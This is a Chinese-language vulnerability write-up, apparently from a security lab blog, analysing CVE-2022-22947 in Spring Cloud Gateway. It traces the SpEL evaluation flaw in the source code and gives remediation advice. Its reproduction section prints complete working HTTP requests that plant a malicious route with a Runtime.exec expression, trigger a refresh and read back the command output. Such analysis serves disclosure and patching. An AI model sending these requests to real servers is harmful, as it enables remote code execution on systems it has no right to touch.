Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现

0x01 漏洞描述

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。据公布的漏洞描述称,当Spring Cloud Gateway 执行器端点启用、公开且不安全时,使用Spring Cloud Gateway的应用程序容易受到代码注入攻击。远程攻击者可以发出含有恶意代码的请求,从而允许在远程主机上任意远程执行。

0x02 漏洞影响

漏洞编号:CVE-2022-22947

影响版本:

  • Spring Cloud Gateway < 3.1.1

  • Spring Cloud Gateway < 3.0.7

  • Spring Cloud Gateway 较低、不受支持的版本也会受到影响
  • 风险等级:【高危】攻击者可利用该漏洞远程执行任意代码,目前已发现公开漏洞POC。

    0x03 环境搭建

    本次在ubuntu云服务器上利用docker搭建漏洞复现环境

    git clone https://github.com/vulhub/vulhub cd vulhub/spring/CVE-2022-22947/docker-compose up -d //启动环境docker ps -a //查看测试环境运行情况

    访问地址:http://IP:8080

    0x04 漏洞分析

    部分源码:

    static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory,String entryValue) {Object value;String rawValue = entryValue;if (rawValue != null) {rawValue = rawValue.trim();}if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {// assume it's spelStandardEvaluationContext context = new StandardEvaluationContext();context.setBeanResolver(new BeanFactoryResolver(beanFactory));Expression expression = parser.parseExpression(entryValue,new TemplateParserContext());value = expression.getValue(context);}else {value = entryValue;}return value;}

    漏洞定位:

    src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java

    可以看到StandardEvaluationContext 上下文,它允许调用或调用任何有效的表达式。如果可以控制getValue 方法调用getValue方法取值时使用StandardEvaluationContext进行表达式解析。

    追踪getValue方法发现在ShortcutType枚举类中调用了getValue获取值(第100行)normalize针对value归一化同时也调用了getValue方法全局搜索ShortcutType这个枚举类。

    跟踪调用normalize 方法的位置。

    定位到ConfigurationService.java中ConfigurableBuilder的normalizeProperties函数,结合前面的代码分析,如果this.properties可控,那么最终控制ShortcutConfigurable.java中rawValue可控制SPEL 表达式中内容。

    分析得知gatValue函数在ShortcutType

    枚举类的三个取里被调用值

    (DEFAULT

    GATHER_LIST GATHER_LIST_TAIL_FLAG)

    根据官方文档表示称,acutator开启后可以通过访问/actuator/gateway/routes路径列出路由,路由中包含filter,如:

    /gateway/routes/{id_route_to_create}//访问该路径创建路由/actuator/gateway/refresh//访问该路径重载路由配置攻击者通过添加带有filter的恶意路由,当重新加载路由时,会触发对参数的归一化逻辑,从而导致filter参数value中的SPEL表达式被解析。

    官方文档地址:https://docs.spring.io/spring-cloud-gateway/docs/current/reference/html/#actuator-api

    0x05 漏洞复现

    5.1 构造命令回显请求

    构造含有恶意SpEL表达式发送如下数据包来执行命令POST请求中SpEL表达式内容分析:

    (new String[]{\"id\"})//创建一个字符串(T(java.lang.Runtime).getRuntime().exec//运行代码的函数getInputStream()//获取执行结果T(org.springframework.util.StreamUtils).copyToByteArray//将执行结果转换为数组new String()//将数组转换为字符串
    POST /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329{"id": "hacktest","filters": [{  "name": "AddResponseHeader",   "args": {       "name": "Result",        "value": "#{new       String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).      getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"        }       }       ],       "uri": "http://example.com"       }

    5.2 触发刷新路由

    发送POST方法请求/actuator/gateway/refresh,用于刷新路由,使刚添加的恶意路由生效:

    POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

    5.3 命令回显

    在refresh路由时调用GatewayFilter中apply函数,当路由创建后,通过GET请求获取命令回显,发送如下数据包即可查看执行结果:

    GET /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

    5.4 删除创建的路由

    可通过发送DELETE方法请求/actuator/gateway/routes/hacktest,删除所添加的路由:

    DELETE /actuator/gateway/routes/hacktest HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

    可以利用该漏洞构造发送含有恶意数据包反弹shell,由于文章篇幅原因这里不做过多赘述。注释:SpEL(Spring Expression Language),即Spring表达式语言。它是一种类似JSP的EL表达式,但又比后者更为强大有用的表达式语言。

    0x06 漏洞修复

    6.1 临时修复建议

    禁用:management.endpoint.gateway.enabled: false 如果需要执行器,则应使用 Spring Security 对其进行保护

    [参考地址]  :https://docs.spring.io/springboot/docs/current/reference/html/actuator.html#actuator.endpoints.security 

    6.2 通用修复建议

    官方已发布安全版本,请及时下载更新。[下载地址]  :https://github.com/spring cloud/spring-cloud-gateway 


    声明

    以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

    长白山攻防实验室拥有该文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的副本,包括版权声明等全部内容。声明长白山攻防实验室允许,不得任意修改或增减此文章内容,不得以任何方式将其用于商业目的。

    你可能感兴趣的:(Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现)